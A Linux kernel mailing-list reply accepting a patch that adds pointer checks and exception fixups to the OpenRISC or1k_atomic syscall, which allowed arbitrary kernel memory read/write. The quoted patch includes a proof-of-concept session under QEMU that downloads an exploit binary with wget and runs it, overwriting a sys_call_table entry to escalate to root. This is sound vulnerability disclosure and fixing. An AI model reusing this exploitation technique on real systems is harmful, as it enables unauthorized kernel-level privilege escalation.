All of lore.kernel.org
 help / color / mirror / Atom feed
From: Stafford Horne <shorne@gmail.com>
To: Ali Ahmet Memis <ali@iusegentoo.com>
Cc: Jonas Bonn <jonas@southpole.se>,
	Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
	Arnd Bergmann <arnd@arndb.de>,
	linux-openrisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	stable@vger.kernel.org
Subject: Re: [PATCH v2] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall
Date: Sat, 29 Aug 2026 07:29:29 +0100	[thread overview]
Message-ID: <apJ8SWRA0PxaQEs9@antec> (raw)
In-Reply-To: <20260821014543.588228-1-ali@iusegentoo.com>

On Fri, Aug 21, 2026 at 01:45:27AM +0000, Ali Ahmet Memis wrote:
> sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user
> pointers, v1 and v2, and swaps the words they point to in hand-written
> assembly.
> 
>     l.lwz   r29,0(r4)
>     l.lwz   r27,0(r5)
>     l.sw    0(r4),r27
>     l.sw    0(r5),r29
> 
> The pointers are not checked with access_ok(). The four memory
> accesses also have no exception table entries.
> 
> A caller passes a kernel address as either pointer, and the syscall
> reads from and writes to it directly.
> 
> This gives an unprivileged process a kernel read/write primitive. It
> overwrites kernel data such as the sys_call_table, gaining code
> execution in kernel context.
> 
> Check both pointers before entering the critical section. Add fixups
> for the four memory accesses so faults on valid but unmapped user
> addresses return -EFAULT.
> 
> Fixes: 9d02a4283e9c ("OpenRISC: Boot code")
> Cc: stable@vger.kernel.org
> Signed-off-by: Ali Ahmet Memis <ali@iusegentoo.com>
> ---
> v2: add Cc: stable@vger.kernel.org, missed in v1.
> 
> Tested against an unpatched or1ksim build with a local PoC that uses
> this syscall to overwrite a sys_call_table entry and escalate to root:
> 
> ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images
> ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel vmlinux -nographic -append "console=ttyS0"
> FDT at (ptrval)
> Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21 00:38:10 UTC 2026
> OF: reserved mem: Reserved memory: No reserved-memory node in the DT
> CPU: OpenRISC-13 (revision 8) @20 MHz
> -- dmmu:  128 entries, 1 way(s)
> -- immu:  128 entries, 1 way(s)
> -- additional features:
> -- power management
> -- PIC
> -- timer
> Initial ramdisk not found
> Setting up paging and PTEs.
> map_ram: Memory: 0x0-0x8000000
> Zone ranges:
>   Normal   [mem 0x0000000000000000-0x0000000007ffffff]
> Movable zone start for each node
> Early memory node ranges
>   node   0: [mem 0x0000000000000000-0x0000000007ffffff]
> Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff]
> itlb_miss_handler (ptrval)
> dtlb_miss_handler (ptrval)
> OpenRISC Linux -- http://openrisc.io
> Kernel command line: console=ttyS0
> printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes
> Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear)
> Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear)
> Sorting __ex_table...
> Built 1 zonelists, mobility grouping on.  Total pages: 16384
> mem auto-init: stack:all(zero), heap alloc:off, heap free:off
> mem_init_done ...........................................
> SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
> NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0
> clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 95563022313 ns
> Console: colour dummy device 80x25
> 40.00 BogoMIPS (lpj=80000)
> $ id
> uid=1000(test) gid=1000(test) groups=1000(test)
> $ wget -O /tmp/x http://10.0.2.2:8000/lpe_static
> Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
> saving to '/tmp/x'
> x                    100% |********************************|  174k  0:00:00 ETA
> '/tmp/x' saved
> $ chmod +x /tmp/x
> $ /tmp/x
> Initial: uid=1000 euid=1000
> Installing commit_creds into getuid entry
> sys_call_table[174] overwritten
> original handler = 0xc002e2ac
> Calling hijacked syscall with init_cred
> hijacked syscall returned 0
> Restoring original getuid handler
> syscall table restored
> Final identity: uid=0 euid=0
> # id
> uid=0(root) gid=0(root)
> #
> 
>  arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++---
>  1 file changed, 39 insertions(+), 3 deletions(-)
> 
> diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S
> index c7e90b09645e..2e8c4102cd62 100644
> --- a/arch/openrisc/kernel/entry.S
> +++ b/arch/openrisc/kernel/entry.S
> @@ -1223,15 +1223,49 @@ _no_syscall_trace:
>   *
>   */
> 
> +/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */
> +#define OR1K_ATOMIC_ADDR_LIMIT	0x7ffffffc

OK, it would have been good to use TASK_SIZE.

>  ENTRY(sys_or1k_atomic)

Note, I don't know of any applications that actually use this, we should
deprecated this syscall.  But I do see it available in musl and strace, it would
take some time to cleanup.

>  	/* FIXME: This ignores r3 and always does an XCHG */
> +
> +	/* Check both user pointers before accessing them. */
> +	l.movhi	r13,hi(OR1K_ATOMIC_ADDR_LIMIT)
> +	l.ori	r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT)
> +	l.sfgtu	r4,r13
> +	l.bf	9f
> +	 l.nop
> +	l.sfgtu	r5,r13
> +	l.bf	9f
> +	 l.nop
> +
>  	DISABLE_INTERRUPTS(r17,r19)
> -	l.lwz	r29,0(r4)
> -	l.lwz	r27,0(r5)
> -	l.sw	0(r4),r27
> -	l.sw	0(r5),r29
> +10:	l.lwz	r29,0(r4)
> +11:	l.lwz	r27,0(r5)
> +12:	l.sw	0(r4),r27
> +13:	l.sw	0(r5),r29
>  	ENABLE_INTERRUPTS(r17)
>  	l.jr	r9
>  	 l.or	r11,r0,r0
> 
> +	/* Either pointer was outside user space, or turned out to be
> +	 * unmapped/inaccessible when we actually touched it.
> +	 */
> +9:	l.jr	r9
> +	 l.addi	r11,r0,-EFAULT
> +
> +	.section .fixup, "ax"
> +14:
> +	ENABLE_INTERRUPTS(r17)
> +	l.j	9b
> +	 l.nop
> +	.previous
> +
> +	.section __ex_table, "a"
> +	.long	10b, 14b
> +	.long	11b, 14b
> +	.long	12b, 14b
> +	.long	13b, 14b
> +	.previous
> +

Thanks,

I will send this upstream.

-Stafford

      reply	other threads:[~2026-08-29  6:29 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-08-21  1:38 [PATCH] openrisc: fix arbitrary kernel memory access via or1k_atomic syscall Ali Ahmet Memis
2026-08-21  1:45 ` [PATCH v2] " Ali Ahmet Memis
2026-08-29  6:29   ` Stafford Horne [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=apJ8SWRA0PxaQEs9@antec \
    --to=shorne@gmail.com \
    --cc=ali@iusegentoo.com \
    --cc=arnd@arndb.de \
    --cc=jonas@southpole.se \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux-openrisc@vger.kernel.org \
    --cc=stable@vger.kernel.org \
    --cc=stefan.kristiansson@saunalahti.fi \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.